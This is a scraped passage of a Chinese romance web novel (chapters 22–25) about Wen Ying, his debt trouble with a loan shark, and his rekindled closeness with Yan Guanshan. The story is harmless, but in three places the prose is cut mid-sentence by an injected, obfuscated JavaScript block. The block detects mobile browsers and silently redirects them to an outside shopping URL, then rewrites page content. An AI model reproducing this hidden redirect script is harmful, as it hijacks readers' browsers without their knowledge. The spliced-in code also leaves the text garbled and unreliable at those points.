锁了画室,两个人去停车场拿车,上了车闻影不得不再次感慨晏关山日子过得好了,不过很难想象他会开这么大一辆SUV。
闻影系好安全带,忍不住问:“你以前是不是也骗我了?”
“什么事骗你?”晏关山发动车子,开出校园。
闻影看向窗外道:“就……攒钱开医院那事儿。”
一个穷学生,吃饭住宿都过得紧巴巴的,闻影当时可是立下毒誓,也要攒钱,帮心上人圆梦开一家属于他自己的宠物医院。
现在看来闻影就是关公面前耍大刀。
一个纯情的傻逼。
晏关山笑了下:“没骗你,遇见你那会儿是我最难的时候,说的也是真的。”
“对了。”晏关山想起那几个鬼鬼祟祟的混混,问道,“你和罗虎的事儿怎么样了?”
闻影:“解决了。”
“怎么解决的?”晏关山追问。
“反正解决了。”闻影明显不想多讲,“跟你无关,少打听。”
几分钟就开到了小区门口,闻影一句话没说就下车走人,晏关山没急着走,停在小区门口看着对方进了楼道才安心,正打算走,楼道里突然冲出来两个提着桶的人,他们跑得很快,手上衣服上都是一片血红,边跑边不住回头看,就是从闻影那栋楼里跑出来的。
晏关山头皮一炸,下了车径直往闻影家赶。
23.第 23 章
闻影浑身是血的画面在这短短几十米的路上反复出现在晏关山眼前,不管是从前还是现在,只要一想到他有可能打架打得满身是伤,晏关山都会感到害怕。
害怕的不是打架本身,晏关山怕他这样不要命地打下去,哪天人真的出事。
以至于晏关山完全没心情去追那俩混混,他以最快的速度冲到单元楼门口,跟闷着头一蹦三台阶往下跳的闻影迎面撞上。
“闻影,你没事吧?”晏关山伸手去拉他。
闻影很大力地甩开他,骂骂咧咧地吼起来:“老子今天废了这俩王八蛋,狗日的来我家泼漆,我就操了……你他妈,放开!你放开我!”
“操!给老子松手啊!”挣脱不开的闻影边吼边原地跳高。
不管闻影骂还是踹,晏关山双手把他环住死死箍着,两股蛮力顶在一起,晏关山干脆仗着身高优势把人一抱双脚离了地。
闻影是冲出去被人拦腰截住的,蹬了半天空气,差点上嘴咬人,晏关山把人转了个圈放进楼道台阶上,这才松开。
闻影一掌推在他胸口上:“拦着我干嘛!那俩王八蛋跑啦!”
晏关山被推得一个趔趄,稳住身形先扶着闻影问:“哪儿受伤了?衣服上沾到血了,我看看,不行就去医院。”
作势就要撩衣服,闻影死死拽着,但没再把人打开,他翻了个白眼道:“这么呛鼻的油漆味儿你闻不到啊?我出电梯的时候见他俩往消防通道跑,看见家门口被泼了漆就追出来了。”
“不是血就好。”晏关山顿了顿说。
察觉到晏关山明显松了一口气,闻影低下头,衣服被扯得皱皱巴巴的,他心里忽然有点乱。
“是我精神紧张了。”晏关山微微喘着气,道,“不好意思。”
紧张得心跳打鼓,再和闻影比划两下,晏关山额上沁了一层细密的汗珠。
晏关山继续解释:“我看见他俩提着桶往外跑就进来找你了,现在再去肯定抓不到的。”
“我知道。”闻影抹了下脸,“那你……上来我家坐会儿?”
首次得到上楼邀请的晏关山并没有表现出太高兴,他平静道:“你先上去,我去叫物业过来处理。”
“我跟你去。”闻影说。
“不用。”晏关山面色冷峻,安排道,“你回家检查一下有没有丢东西,一会儿物业来了集中反映问题。”
闻影呆呆的:“哦。”
家里东西没丢,门锁也没有被撬过的痕迹,就是这门加上墙都没法儿看,红漆泼得到处都是,还明晃晃地写着“还钱”两个大字,过道里浓重的油漆味儿冲得都快流眼泪了,闻影把所有窗户都打开通风,杵在一边有点不知道该干什么。
等了快半个小时,闻影抬腿要下楼去找,晏关山才带着物业上来。
简单说明情况,物业工作人员一顿道歉,说是他们工作失职才让闲杂人等混进住宅区:“墙面和门上的漆我们保证今晚就处理好,能恢复原样,不过为了安全起见,还是报警比较好,刚我们想报警,晏先生说得问问您的意思。”
闻影看了晏关山一眼:“不用报。”
工作人员和晏关山对了个眼神,道:“这种行为警察抓到是可以罚款的,真的不用报吗?”
“不用。”闻影很干脆。
留下物业在过道擦漆,闻影把晏关山带进家门。
家里也一股刺鼻的味儿,闻影把所有房间和窗户全部打开通风,去冰箱里拿了几瓶苏打水放在茶几上道:“你坐会儿,我换件衣服,沾了漆了。”
“好。”晏关山看到打开的书房露出一角,墙角边堆叠着五颜六色的画,他指了指,“我能去看看吗?”
闻影摆摆手,回了卧室。
上次唯独这间房被闻影关得死死的,宁愿把卧室让出来,也不让晏关山靠近,这反倒引起了晏关山巨大的好奇心,现下看来,不过是当时扯的谎还没被说穿。
书房凌乱中透着一股随性,小床挨着窗,摆了两个画架,画具散落一地但分门别类散得又很规整,墙角码着一层层画好的画,有上过色的,也有素描练习。画架前的椅子很旧了,上面担着一件沾了不少颜料的棕色围裙。
墙面上没挂任何一副他自己的画,但做了一面照片墙,应该都是闻影去各种地方采风写生时的留影,学艺术的摄影技术也不会差,构图光影都恰到好处,其中只有一张照片里有他,看模样恐怕还是个小学生,系着红领巾,紧紧挨着一位慈眉善目的老人,俩人笑得很开心,一旁突兀地贴着几个很旧的红包壳。
窗台上还养着三盆仙人掌,安安静静地冲黑夜股着浑身的刺,晏关山吸了吸鼻子,方才被油漆刺激的鼻腔得到缓解,他闻见一股淡淡的松木香。
和闻影身上始终若隐若现的味道一样,在这个房间尤其明显,原来是稀释颜料用的松节油的味道。
其实以前他就闻到了这股香味,一切都有迹可循,是自己太笨没发现。
闻影换好衣服,见人还杵在书房门口,喊他:“过来。”
晏关山闻声看过来:“嗯?”
“你衣服也沾了漆了,一会儿蹭得车上都是,这玩意儿不好洗。”闻影晃了晃手里的一件薄毛衣,“旧的,穿过一次有点大,不介意你就换上。”
晏关山一笑:“好的。”
只是毛衣,脱了大衣在客厅就可以换了,晏关山换好,一没留神,脏衣服被闻影拿走已经泡在了水里,闻影蹲在洗衣房里,往盆中浇洗衣液,单手没法儿搓就这么先泡着。闻影道:“洗好了给你。”
“闻影。”晏关山在沙发上坐下,“那些是罗虎的人吧?”
闻影睨了他一眼,果然拦不住这位好奇宝宝。
晏关山用质问的口吻说:“这就是你说的‘问题解决了’,他们找你要多少钱?”
闻影偏开头:“你别管,反正拿钱可以解决,这事儿就不复杂。”
“手还没好,这又泼上漆了。”晏关山皱着眉,“我没看出来这事儿简单,你到底跟他们有什么恩怨,钱我有,还了少些麻烦,不比你跟他们耗着强吗?”
闻影嫌烦不搭理,坐回沙发往后一靠,仰着脑袋对天花板发呆,晏关山说的他当没听见。
晏关山耐心地道:“为什么不愿报警?泼漆是寻衅滋事,毁坏他人财物的行为,完全可以抓起来警告再处罚。”
闻影:“不是不愿意,是不能。”
他看了眼晏关山这打破砂锅问到底的架势,无奈地掐了掐眉心:“算了,告诉你也行,但你要保证不多管闲事。”
晏关山老奸巨猾:“你说。”
闻影头一扬:“你先保证!”
晏关山失笑,伸手过去:“拉勾。”
闻影噎了下把他手拍开:“幼稚不幼稚啊你。”他顿了顿道:“欠债的是费彦,好多年前为了给他妈治病,跟罗虎借了三十万,利滚利滚到六十,还不上了,被罗虎扣着打了个半死。”
“电话打到我这来我才知道费彦出那么大一事儿,就替他先还了二十万,罗虎才肯放人,费彦伤得很重,在医院躺了一个月才下床。”
“之后他还跟我要四十万,我还完本金立马报了警,让他蹲了几年牢。”
“现在他出来了,既想报复我又想要钱,所以阴完人,找我要剩下的那些利息。钱到手,恩怨一笔勾销。”
闻影翘起脚:“就这事儿,说完了。”
晏关山其实已经猜到了大概,那晚他虽然在自家花园醉得倒地不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304798|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起,但朦胧中听见闻影接电话聊到还债的事。后来和费彦接触多了,知道对方家里情况特殊,再一联想,那通电话多半是和费彦打的。
晏关山问:“费彦还不知道他出来?”
“懒得告诉他。”闻影闷闷道,“他家里的事儿够糟心了,好不容易这几年安稳了些,不想他再搅进来。”
“知道了。”晏关山识趣道,“我也不会说的,边屹也不说。”
“说起这个,谢了啊。”看着晏关山诧异的眼神,闻影有点不好意思张嘴,“就那个什么,你帮费彦妈的事儿,边屹跟我说了,费彦家确实挺难的。”
“他难,你就不难?”晏关山不吃拍马屁那套,注意力还在闻影身上,接着问,“几十万不是小数目,你一个学生,这钱哪来的?”
闻影:“攒的,生活费。”
晏关山不理解:“……生活费都替人还债了你怎么过日子?”
“这不是还有点儿嘛!”闻影无所谓地说,“没了我可以再攒。”
晏关山静了半天,幽幽道:“事儿别一个人扛。”
“换个人,死了我都不多看一眼。”闻影打开水喝了一大口,“他俩从初中跟我好到现在,跟家人一样。”
这么说,晏关山倏然就明白了,闻影什么都能豁出去,是因为他没有家人,所以最亲近的人,他会竭尽全力去护着。
就像当初,他竭尽全力地对自己好一样。
那时不懂,为何和闻影待在一起,哪怕房子简陋生活艰苦,人却总觉得踏实。
这臭小子,给过他家的感觉。
一个真正的家。
晏关山:“罗虎找你要的利息,本来就是违法的,以前没给,现在又打算给了?”
闻影痞笑一声:“就当花钱消灾啊。”
“不给会怎么样?他威胁过你?”晏关山挑眉。
闻影笑着不搭腔。
晏关山平静地问:“还差多少。”
“没多少了。”闻影依旧含糊其辞。
知道问不出结果,晏关山从衣服兜里拿出个东西,递给对方。
一个文件里包着个U盘。
闻影诧异地看过来。
晏关山伸出食指点在U盘上:“那俩毛贼泼漆的监控,楼道里和小区里的都存了,还有物业处理突发事件留痕的工单。”
闻影愣了下:“你刚在楼下磨蹭半天就是弄这个?”
“收好。”晏关山说,“不管你以后怎么处理,报警也好私了也罢,证据越多,有备无患。”
说完晏关山把手机记事本打开,噼里啪啦打完字发到闻影微信,耐心交代:“对方打给你电话别急着接,通话录音、时间、次数、主要内容做留痕,如果转钱过去了,转账记录、卡号、具体金额、收款户名也留痕,其他还要注意什么我写了一部分,回头我问问律师朋友再细化一下,你先照我说的做。”
“对方行为属于什么罪名,具体怎么量刑得专业人士给意见,自己一个人不要轻举妄动。”闻影不肯把事情原委全部说出来,晏关山能做的也只有这样了。
闻影眼睫轻微一动,他不是没计划,但自己一个人想,没那么周全,晏关山毕竟比自己大六岁工作多年又有社会经验,几句话就提醒了他眼下最该做些什么。
闻影把它粘贴进备忘录说:“知道了。”
U盘在手心里都捂热了,晏关山微微侧着身,脑子里像是还转着什么事,他在认真地思考解决问题的办法,给他愁得人都有点呆。
出了事有个人能商量的感觉确实不赖,以至于闻影差点就要把计划和盘托出,理智还是让他刹了车,他低头抿了抿唇,懒懒却又带着自己都没察觉的乖巧说:“晏关山,我会收好的。”
24.第 24 章
学校彻底放假了,闻影开始了他第一份正儿八经的兼职工作。
和画廊的经理多接触还是有好处,虽然签约意向未定,但给在校生的工作机会很多,在清闲钱少和繁重钱多里,闻影挑了后者。
这份兼职是要给一家五星级酒店做墙体彩绘,需要作画的墙体总面积达到了两百多平米,一平米给到五百的价格,光这一单就能让闻影赚到十万块,他立马就答应了。
泼漆的事儿过了几天,罗虎又打电话来催债,春节前得再给他十万,那就当是一次警告。这钱闻影怎么都得给,不给点甜头,指不定罗虎还能干出什么事,他不想在过节这阵节外生枝。
闻影连续几天起大早,背着硕大的包来酒店里画画,从早干到晚,画得浑身酸疼,尤其屁股搁得难受,他得一直坐在木梯子上抻着画,一只手十分不方便,要不是为了钱,他根本不来遭这大罪。
好在这家酒店的艺术总监比较欣赏闻影,当时画展他也去看过,画廊经理一推荐,当即就定下让闻影来画,价格也比平时给在校生的价格高许多,这几天艺术总监偶尔来视察工作都赞不绝口,早中晚还交代了酒店自助餐厅,让闻影随便去吃。
电话响的时候,闻影正坐在梯子最高处画得满头大汗,见是费彦打来的,他马上接起来:“等会儿,我下去你再说。”
“下去?”费彦那头喇叭声吵得很,显然在大街上,“你干嘛呢?”
闻影下了梯子坐地上,伸着两条长腿喘着气道:“兼职,给酒店做墙体彩绘。”
“啊?!怎么有心思出去兼职了?”费彦奇怪地问,“平时你最多接个私活,遇着放假不还要出远门么。”
“闲着也是闲着。”闻影揉了揉酸胀的眼睛,“你那边怎么这么吵?”
费彦嘿嘿一笑:“我在客运站呢,刚下车,在玉城待几天再回家,晚饭我请,然后找个安静的清吧小酌一杯,别的人我也不约了,就咱几个。”
闻影笑了下:“行,那我就带着蛋糕来。”
“啧!”费彦欣喜道,“老子以为你忘了呢。”
闻影:“没忘。”
今天是费彦生日,闻影不知道他能回来,本来打算晚上给他打个电话的。
费彦道:“其他东西就别带了啊,吃饭地点一会儿订好了发给你,下午我先去住的地方放东西,给你们带了土产,你既然忙我就先给边妈送去,他得空给你拿家去。”
挂了电话也休息得差不多了,闻影掏出耳机塞上,把音乐开很大,爬上梯子继续画,来电铃声生生打断了满耳朵的重金属,闻影有点糟心,没好气地接通。
晏关山:“没吵到你睡觉吧?”
闻影一心两用地敷衍着:“昂。”
晏关山听见酒店的音乐声:“在外面?”
闻影随口答:“酒店。”
晏关山一愣,早上九点多,平时这个点儿他肯定还在睡大觉,怎么会跑到酒店去?正想问,却听见电话那头有一个男人的声音。
对方问闻影昨晚睡得好吗。
晏关山沉默了,闻影也沉默了。
苏淳站在梯子下碰了碰闻影的裤腿,这个角度他根本不知道闻影戴着耳机在接电话,他仰着脑袋道:“难得你起这么早,昨天累了吧。”
你可真特么会挑时候。
这问的什么乱七八糟。
闻影指了指右耳:“……电话。”
苏淳抱歉地耸了耸肩,抬手示意他先打电话。
闻影“喂”了一声,对方沉闷地回应了一个“嗯”,然后就没后话了。
晏关山别扭了。
气氛陷入尴尬,闻影的耳机里清晰地传来对方的呼吸声,一下又一下,慢而沉重,一声不吭。
他知道晏关山为什么别扭,但又想问他凭什么别扭。
就算误会了什么,也犯不上跟他解释啊!
闻影硬邦邦问:“找我干嘛?”
晏关山语调冷淡地道:“费彦回玉城了,刚约我晚上一起吃饭,白天时间还多,我就想问问你在哪,带你去医院拆石膏,晚饭一起过去。”
闻影:“我自己能拆。”
“你拆不了。”晏关山说。
闻影:“我怎么就拆不了了?”
“你是医生?”晏关山反问。
“不是我不会找吗?”闻影说。
晏关山:“不行,单子都在我这,连复查带拆石膏,直接找上次的主治医生不用挂号排队,你看什么时候有空,忙完给我打电话吧,先挂了。”
什么玩意儿就先挂了。
“欸!”闻影赶紧打断对方,嘴软道,“那你来接我下,有空,现在就去。”
晏关山顿了顿,故意问:“方便吗?”
闻影气笑了:“算了,老子自己去,你挂吧。”
晏关山马上问:“哪个酒店几号房,我现在过来。”
闻影把酒店地址发过去,没说几号房,只写了十七楼,晏关山立刻回了个表情包,微笑的黄色小人,脸还特么裂开了。
闻影翻了个白眼,才问苏淳干嘛来了。
“我家就在附近,想起你在这,顺道过来看看你。”苏淳道,“工期两个月呢,你不用这么赶,累了就休息。”
“早弄好早拿钱呗。”闻影道。
苏淳奇怪道:“最近很缺钱吗?”
闻影:“谁不缺钱?”
苏淳失笑:“以前给你介绍商稿你不是挺不乐意。”
闻影扯了扯嘴角:“何必跟钱过不去啊。”
“那行,等你忙完这个,再给你推。”苏淳道,“也别太拼了。”
苏淳一片好意,闻影也不好一直冷冰冰地赶人家,他收了最后一笔下了木梯,递了一瓶矿泉水给苏淳,俩人就背靠墙角坐着有一阵没一阵的瞎聊,苏淳说起过年那几天,有留校的几个学生约着去野鸭湖露营写生,学校不放心叫他这个导员跟着,问闻影要不要一起去。
闻影本想拒绝,可一想到正是除夕放假那几天,哪哪儿都关门,他孤家寡人的最怕这种年节的热闹,往常这种时候闻影也都是要找个地方去写生的,于是他答应了。
晏关山出电梯时刚好看到这一幕。
穿着围裙兜里插满画笔的闻影蹲在地上收拾颜料盒,苏淳支着一条腿靠在墙边和对方说笑。
他们也同时看见了走过来的晏关山,闻影只瞥了一眼继续低头收拾,苏淳脸色微变,看着来人问:“你怎么来了?”
“来接我的。”闻影主动回答,“下午有事,今儿不画了。”
晏关山第一眼就明白自己闹了个误会,自然也不用问闻影在这里干什么了。他和善地对苏淳点了个头算打招呼,自然而然提起闻影刚收好的大包,问:“还有别的吗?”
闻影:“没了。”
“这个脱了。”晏关山用下巴指了指围裙,“都是颜料。”
闻影解开绳背过身,微微低着头让晏关山帮他把围裙整个提溜出来,晏关山团吧团吧塞进大包。
苏淳看着二人举止之间的熟稔,又泛起阵阵酸楚,如果说第一次见晏关山,还觉得对方是厚着脸皮凑上来的竞争者,那这回他就很直观地感受到在对方面前,闻影那不太明显的温顺是下意识的,他认识闻影四年,从没见到这一面。
二人收拾完准备走,晏关山礼貌询问:“苏淳,我开了车来,你要去哪儿,需要送你吗?”
“不用。”苏淳言不由衷道,“你们忙,我就不打扰了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329008|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
上了车,晏关山一边发动车子,一边承认错误:“是我小心眼了。”
闻影觉得好笑:“你怎么个小心眼了,说来听听。”
晏关山把车开到大路上,才缓缓道:“我不止小心眼,还思想龌龊,听见你大早上在酒店,旁边还有苏淳的声音,我——啊!”
闻影为了堵他的嘴,扭过身子猛地朝晏关山脑门上弹了个爆栗,弹完两人都是一懵。
闻影干咳一声,转正看向前方,耳根烧了起来,他凶巴巴道:“是挺龌龊的,我他妈再饥渴也不至于去跟苏淳开房吧?!”
晏关山眼睛一亮。
这意思听着,还挺嫌弃苏淳。
好。
晏关山揉了揉脑门:“跟你开玩笑的,我没往那处想。”
晏关山嘴角都勾了起来,故意问:“苏淳像是也不差。”
“没说他差。”闻影强调,“我不喜欢而已。”
晏关山抱着被再谈弹一次爆栗的心情问道:“这些年,你有没有谈过恋爱?”
闻影抱臂摆酷:“好好开你的车,别跟个八婆一样瞎打听。”
晏关山犟嘴:“八婆好奇所有人,我只好奇你一个。”
闻影拳头硬了,伸到晏关山脸上舞了舞,张口就来:“谈了百十来个!”
那就是没有谈过。
经历过闻氏杀猪盘,晏关山已经学会如何在谎言里面抠真话,他瞬间身心舒坦,换个话题:“以前也做过类似的兼职吗?”
“头一回。”闻影答。
“看着很累,不过应该很赚钱。”晏关山猜测闻影缺钱才接这种活,而且为什么缺也不难知道,“我把你的画挂在基金会里了,前阵儿有几个机构来参观,对你的画感兴趣,让他们联系画廊还是直接联系你?”
闻影侧着脸看了晏关山一半天:“你们搞公益的,总花钱买艺术品不合适吧?”
晏关山道:“合适,我不就买了。”
“你那是没憋好屁!”闻影反驳。
晏关山失笑:“我憋了什么你知道的。”
拐进医院,晏关山放慢速度往车库开,又道:“他们不全是做公益的组织,不少都是实体企业,每年拨款投公益,对外搏个好名声,对我们来说,有充足的资金多做些事,这是双赢的。”
闻影不免好奇:“基金会都做些什么呀?”
晏关山找到了一个靠近电梯口的车位,一边利落倒车,一边淡淡道:“扶持救助站,免费提供医疗,助农。下车吧,今天的任务是先把手给弄好。”
停好车,晏关山勾着头去副驾拿上单子,摁开闻影的安全带,然后绕到侧门替他开了门。
闻影还坐在车里,发呆。
他只是在方才那一瞬间,在晏关山的举止和谈吐中看见了这六年成长的痕迹,渡了一层成熟稳重的男人该有的气质,以及给身边人带来的那种踏实感,让闻影受到了一些冲击。
他一个人过日子,偶尔的丢三落四,考虑不周,多多少少会惹来小麻烦,这些细碎的麻烦不至于成为大坎坷,却总让人有些焦虑,和无可避免的孤独。
可当习惯了独来独往,独自照管生活,突然有一个人强行关心、提醒、保护、照顾、体贴甚至交心,闻影就像喝到微醺的人,会控制不住去找酒喝,到大醉一场。
期待它不是个梦就好。
“愣什么呢?”晏关山的声音把闻影拉回了现实,他尴尬地咳了声,下了车,听见晏关山轻轻关上门时,擦过耳边说的话。
“基金会能接触很多流浪的猫猫狗狗,我知道你喜欢。”晏关山关上车门轻轻扶了一下闻影的肩,像一个浅尝辄止的搂抱,他笑着说,“有空随时告诉我,带你去玩。”
25.第 25 章
拆石膏没花多少时间,还有几项检查,有晏关山提前交单排队,很快就做完了。给医生看过,愈合情况还不错,医生简单叮嘱了几句,两人离开医院时正好到了饭点。
闻影最烦来医院,但凡来一次,不管多小的病光挂号交钱检查来来回回跑,就能耽误几个小时,他本来做好在这耽误一天的准备了,谁想到多个人陪着,看病能这么效率。
晏关山把检查单都装好提着,和闻影并肩往车库走:“肚子饿了吗?找个地方吃饭?”
“你忙你的去吧。”闻影扭着解放了的手腕道,“我去订个蛋糕。”
晏关山:“我订好了。”
闻影微张着嘴,显得有点呆。
晏关山是微微侧过头说话的姿势,语调轻松自然,他说:“早上来接你之前订的,一会儿会送到我家,我看吃饭的地方离家近,晚点儿绕回家拿就行。”
这人做事太周到,想在前面,安排得明明白白,闻影突然无所事事了。
晏关山问:“陪你去挑礼物?”
“不用,我们几个过生日都不买礼物,吃个蛋糕得了。”闻影摸了摸肚子,“你下午还上班吗?”
晏关山:“没大事,可以不用去。”
“那吃饭。”闻影两手插兜,“想吃什么,我请客。”
晏关山顿了顿:“这附近没什么好吃的,要不去我家歇会儿?”
为了防止闻影开口就拒绝,晏关山马上解释:“一大早上就出来干活,又在医院乱半天,回我家休息正好,你可以洗个澡。”
“冰箱里有菜,都是阿姨才买的新鲜的,我做个简餐将就吃,比外头的干净。”
“蛋糕反正送家里怎么都得回去拿。”
“而且家里毛孩子你都没有全部见过,今天天气暖和,你可以带它们去院子里玩。”
闻影眉毛一挑,倒是被最后一条给说心动了,他揶揄道:“你是不搞过传销啊,一套套的。”
“去嘛。”晏关山笑着哄,“还有个惊喜等着你。”
闻影想到什么心里有点发痒:“什么惊喜?”
晏关山神神秘秘:“去了就知道。”
于是在这样再寻常不过的一个工作日,在两个人手里都有工作要做的情况下,摸鱼开溜,一起回了晏关山的家。
闻影不是个紧绷的人,不过生活习惯使然,醒着的时候几乎都在忙着某件事,像眼下这么无所事事突然chill上了,他挺新鲜。
纯说是为了想和小动物们玩,也不对,他没那么幼稚,但神奇的是晏关山说“带你去玩”有种魔力。
闻影是被“带”这个字眼勾引住了。
今天还难得出了太阳,玉城的冬天只要出太阳就暖和,车刚开到门口,闻影就和一蹦一跳迎接主人的皮皮看了个对眼。
闻影笑着道:“皮皮这身板,瘦点的人都不经它扑吧。”
车牌识别通过,大门自动打开,晏关山轻轻摁了下喇叭小心地开进去:“三十公斤,吃的不比人少,我要是养猪它早出栏了。”
闻影忍不住弯了下嘴角。
这人什么时候还学会贫嘴了?
下了车,闻影去把大铁门关上,转过身就被站起来的皮皮扑了满怀,狗子不会说话,举止却很明显,要抱抱还要牵手手,闻影费大劲跟它闹了会儿,才在角落发现一个不算小的开放式猫屋。
木制结构玻璃格挡,里面猫爬架猫窝和食盆应有尽有,屋头做了很大的遮挡可以遮雨防风,里头有两只狸花猫蜷成一坨大睡特睡。
晏关山蹲在猫砂旁边,正在找什么东西。
“我刚铲过啦,关山,你今天怎么这个点儿回家?”从屋里走出来的李姐看见陌生人,愣了下,“这位是?”
“我说怎么没拉呢。”晏关山站起来走到闻影身边,“这是我朋友,叫闻影。”
他又看向闻影道:“这是李姐,白天我不在家,毛孩子都是李姐在照顾。”
闻影木讷地点了个头:“你好。”
“你好你好,关山还是头一次带朋友回家。”李姐在围腰上擦了擦手,笑得十分和善,“我这刚给皮皮做了点零食,等它吃了去遛遛,你俩吃饭了吗?”
晏关山:“还没。”
“那先吃了再遛,给皮皮自己玩会儿。”李姐问,“冰箱里有菜,早上才买的,你俩想吃什么?”
晏关山搓搓手说:“我来做吧。”
“我在家呢哪用得着你下厨!”李姐道,“正好朋友来,你俩玩着,一会儿就弄好了。闻影,进来坐,我切点水果你们先吃着。”
闻影挤了个笑容:“谢谢李姐。”
晏关山走进屋时轻轻拍了下闻影的背:“放松,李姐人很好的,在家里别那么紧绷。”
“你到底养了多少小动物啊?”闻影岔开话题,换了鞋跟着去客厅坐下,“李姐是专职负责照顾动物的?”
晏关山把外衣脱掉,坐在一旁摁开电视:“十八只吧,我工作忙,白天不在,有时候夜里也得处理紧急情况,没李姐管它们,靠我一人不行。喝什么吗?”
“随便。”闻影闻见厨房煎鱼的香味,吸了吸鼻子,饿了。
双开门冰箱里满满当当,晏关山在那挑了半天。
“这个。”李姐指着其中一瓶笑眯眯地说,“你让买无糖带色的汽水,我一个牌子挑了俩,人家说这个买的人最多。”
晏关山按照她说的拿:“听李姐的。”
李姐好奇道:“你一向不喝这些,怎么突然买那么多啊。”
晏关山关上冰箱门,嘴角含笑:“给闻影备的,他爱喝。”
李姐嗔怪:“那你不早说今天带人回家吃饭,我早点做饭嘛。”
晏关山失笑,其实他不知道这人什么时候会来,愿不愿意来。
但是想给他的会准备好,他喜欢的都还记得。
晏关山拿着两瓶汽水回到客厅,递给闻影:“等我找个东西。”
闻影:“什么东西?”
“惊喜。”晏关山神秘地说。
闻影:“……”
老实说,在晏关山神神秘秘找惊喜离开这五分钟,闻影如坐针毡如芒在背。换作从前,就晏关山那个脾气性格,根本不跟你玩花的,既三锤打不出两个屁又不解风月,他掏出什么都不会让闻影有意外这种感觉。
可今时不同往日了,晏关山变了很多,开朗健谈之余,在感情的事上开始猛打直球,打到闻影总觉得对方在耍自己。
哪怕现在坐在别人家里,他还是觉得晏关山在耍自己。
以至于这个“惊喜”,高低带点儿恐惧在里头。
然而当他真的捧着那个“惊喜”出现在眼前时,闻影愣住,张嘴瞪眼的同时,心里痒痒的像绽开花,也许这就是惊喜的感觉吧。
晏关山手腕里趴着一只猫,他没急着递给闻影,只是挠了挠猫咪的耳朵问:“认得出来吗?”
“是小橘啊。”闻影伸手要接,带着期待又激动的语气催,“快给我给我,这臭小子怎么跑你家来了啊。”
小橘被闻影稳稳当当抱在怀里,揉了八百遍,还举到鼻前嗅了嗅,一股子奶猫味,香香的。
“它喜欢你。”晏关山道,“换了别人,给摸不给抱,伸爪子挠呢。”
闻影:“你刚不就抱了吗?”
晏关山理所当然道:“我是它爹。”
老子才是它爹!
闻影嗤笑一声:“这崽子的命还是我救回来的呢,之前你不是说它找领养了吗,这么可爱身体也没残疾,不能没人要吧?”
晏关山在闻影面前蹲下,抬手也摸了摸趴在闻影膝盖上的小橘说:“是找到领养人了,带走养了几天,把人家里的原住民打了个遍,还把人挠了,养不家又给退回来。”
闻影瞪大眼睛,捏着猫咪后颈皮道:“真特么出息,你丫跟谁学的啊?”
“跟你学的吧。”晏关山笑着说,“你喜欢小橘又养不了,它被人退了看着挺可怜的,我就带回来了。”
闻影满眼怜爱的注视着小橘,却把晏关山的话都听在了心里。
晏关山道:“喜欢就多来看看它,来一阵儿了,没打过一次架,昨天不知道上哪儿抓了只小鸟,自己没吃,给阿炳留着。”
闻影:“……就没给你带点伴手礼?”
晏关山无所谓道:“附近流
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346588|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浪猫没少给我上供死老鼠和枯树叶,小橘不跟我客气挺好。”
闻影静了会儿,这一刻他整个人像腿间的小橘一样松弛下来,他忍不住念叨:“有家了,小橘。”
闻影羡慕地说:“你丫命是真好。”
因为家里突然有朋友造访,李姐心里高兴,擅自做主将“随便吃点”升级为“大吃一顿”。
晏关山劝不动,反倒被打发出去遛皮皮,闻影忙着跟各种猫狗交朋友,不愿意出门,就单独留下了。
上次来时太晚,又得照顾醉鬼,好几只在睡觉的狗子没见到,今天可热闹,待所有毛孩子将闻影上上下下闻了个遍之后,他走到哪毛孩子们跟到哪,身后追着一溜儿腿脚不利索的,不吵不闹跌跌撞撞,闻影心都软成了棉花。
小橘跟大家相处得都很融洽,虽然身板就那么点儿大,特别照顾缺胳膊少腿的那些,阿炳眼球虽然摘了,但追着气味还是能缓慢移动,闻影发现小橘去哪儿,阿炳会跟着,小橘还会扭头回来找它。
闻影就像一个孩子头一样,带着一伙残缺不全的毛茸茸兄弟伙流窜到了厨房,李姐顺手投喂,笑他:“闻影,你第一次来家里,它们都不认生,看来跟小动物很有缘呀。”
闻影笑了笑:“第二次来了,上回他喝醉我送回来的时候,喂过一次猫。”
“这样啊,以后多来,你瞧今儿家里人气多旺。”李姐碰了碰手边的盘子,推销起来,“阿姨刚炸的油渣,这会儿最香了,闻影,来尝尝?”
闻影愣了下。
李姐:“别拘束,就跟在自家似的,关山都不让我叫他晏先生,这么多年下来,我都当关山跟自家孩子一样。”
李姐很健谈,唠的又是家常,爱吃什么不吃什么,哪只狗叫什么名字,几岁了,都是她边做菜边给闻影说。
闻影虽不太会跟长辈相处,但李姐实在是个和善乐呵的大姐,随手捡着油炸吃,听她唠着,也跟着聊了起来。
